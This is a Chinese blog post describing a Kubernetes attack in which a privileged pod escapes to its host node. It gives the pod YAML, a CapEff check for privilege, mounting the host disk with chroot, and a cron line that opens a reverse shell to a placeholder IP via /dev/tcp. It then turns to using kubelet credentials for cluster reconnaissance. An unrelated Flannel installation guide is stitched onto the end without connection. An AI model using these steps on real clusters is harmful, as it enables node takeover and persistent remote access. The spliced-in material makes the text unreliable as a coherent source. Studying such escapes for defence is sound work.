K8s攻击案例:Privileged特权容器导致节点沦陷

本文详细介绍了如何在Kubernetes中利用特权容器进行攻击,包括设置yaml文件启用特权模式,检测容器权限,挂载宿主机资源并执行计划任务,以及利用kubelet漏洞获取更多集群信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

01、概述

特权容器(Privileged Container)是一种比较特殊的容器,在K8s中运行特权容器,需要将 Privileged 设为 true ,容器可以执行几乎所有可以直接在主机上执行的操作。

基于此,利用容器的特权配置可以获取容器所在节点的权限,甚至从节点权限提升至集群管理员权限。

02、攻击场景

编写yaml文件,在securityContext中加入参数,将privileged设置为true,使用特权模式运行Pod。

4eca78bef75e5b63a62d936c111890c9.png

yaml文件内容:

apiVersion: v1
kind: Pod
metadata:
  name: pod1
spec:
  containers:
  - image: nginx
    name: pod1
    command: ['/bin/sh','-c','sleep 24h'] 
    securityContext:
      privileged: true

02、攻击过程

(1) 判断是否特权模式

在容器中可以使用命令检测当前容器是否以特权容器启动,CapEff对应的掩码值在centos中为 0000001fffffffff ,在ubuntu中为0000003fffffffff。

基于以上,可以简单的通过一行命令,如果返回的是Yes说明当前是特权模式,如果返回No则不是。

cat /proc/self/status |grep -qi "0000001fffffffff" && echo "Yes" || echo "No"

5c3db377d27756fabb9312add7e8e182.png

(2)查看当前磁盘分区情况,获取宿主机分区

547afb6dc61b0e0431f126a1eddf9225.png

(3)将宿主机目录挂载到容器里,chroot进入宿主机系统,获取宿主机的权限。

ce99294b3fee615a0ad96f191c718d4a.png

(4)此时,也可以使用计划任务反弹shell。

echo '* * * * * bash -i >& /dev/tcp/xx.xx.xx.xx/12345 0>&1' >> /var/spool/cron/root

e3c38e7ac7b6aa06ccc07fa8d85c2e0c.png

(5)在Node节点上查找kubelet配置文件,一般情况下,开启了NodeRestriction准入插件,kubelet证书可用来查看pod信息,但是不能创建Pod。下载kubecrl命令行工具, 收集信息为进一步攻击K8s集群提供必要的条件。

f4a86b78ec4732672f9130480d7a69ae.png

安装Flannel网络插件需要以下步骤: 1. 在所有节点上安装flannel二进制文件: ```bash $ wget https://github.com/coreos/flannel/releases/download/v0.13.0/flannel-v0.13.0-linux-amd64.tar.gz $ tar -xvf flannel-v0.13.0-linux-amd64.tar.gz $ cd flannel-v0.13.0-linux-amd64 $ sudo cp flanneld /usr/local/bin/ $ sudo cp mk-docker-opts.sh /usr/local/bin/ ``` 2. 创建flannel配置文件 `/etc/kubernetes/cni/net.d/10-flannel.conf`: ```bash { "cniVersion": "0.3.1", "name": "flannel", "type": "flannel", "delegate": { "isDefaultGateway": true } } ``` 3. 在所有节点上启动flannel服务: ```bash $ sudo systemctl start flanneld ``` 4. 验证flannel是否运行正常: ```bash $ sudo systemctl status flanneld ``` 5. 在Master节点上检查kubelet配置文件 `/etc/kubernetes/kubelet.conf`是否包含以下内容: ```yaml apiVersion: v1 clusters: - cluster: certificate-authority: /etc/kubernetes/pki/ca.crt server: https://127.0.0.1:6443 name: kubernetes contexts: - context: cluster: kubernetes user: system:node:<node-name> name: default current-context: default kind: Config preferences: {} users: - name: system:node:<node-name> user: client-certificate: /etc/kubernetes/pki/apiserver-kubelet-client.crt client-key: /etc/kubernetes/pki/apiserver-kubelet-client.key ``` 6. 在Master节点上创建kube-flannel.yml文件: ```yaml apiVersion: v1 kind: ConfigMap metadata: name: kube-flannel-cfg namespace: kube-system labels: tier: node app: flannel data: cni-conf.json: | { "name": "cbr0", "cniVersion": "0.3.1", "plugins": [ { "type": "flannel", "delegate": { "isDefaultGateway": true } }, { "type": "portmap", "capabilities": { "portMappings": true } } ] } net-conf.json: | { "Network": "10.244.0.0/16", "Backend": { "Type": "vxlan" } } --- apiVersion: extensions/v1beta1 kind: DaemonSet metadata: name: kube-flannel-ds namespace: kube-system labels: tier: node app: flannel spec: updateStrategy: type: RollingUpdate selector: matchLabels: tier: node app: flannel template: metadata: labels: tier: node app: flannel spec: hostNetwork: true containers: - name: kube-flannel image: quay.io/coreos/flannel:v0.13.0-rc2 command: - /opt/bin/flanneld args: - --ip-masq - --kube-subnet-mgr - --iface=$(POD_IP) env: - name: POD_IP valueFrom: fieldRef: fieldPath: status.podIP securityContext: privileged: true volumeMounts: - name: flannel-cfg mountPath: /etc/kube-flannel/ volumes: - name: flannel-cfg configMap: name: kube-flannel-cfg - name: run hostPath: path: /run type: "" ``` 7. 在Master节点上应用kube-flannel.yml: ```bash $ kubectl apply -f kube-flannel.yml ``` 8. 检查所有节点上的flannel是否运行正常: ```bash $ kubectl get pods -n kube-system ``` 如果所有节点上的flannel状态都是Running,则表示flannel网络插件安装成功。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Bypass--

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值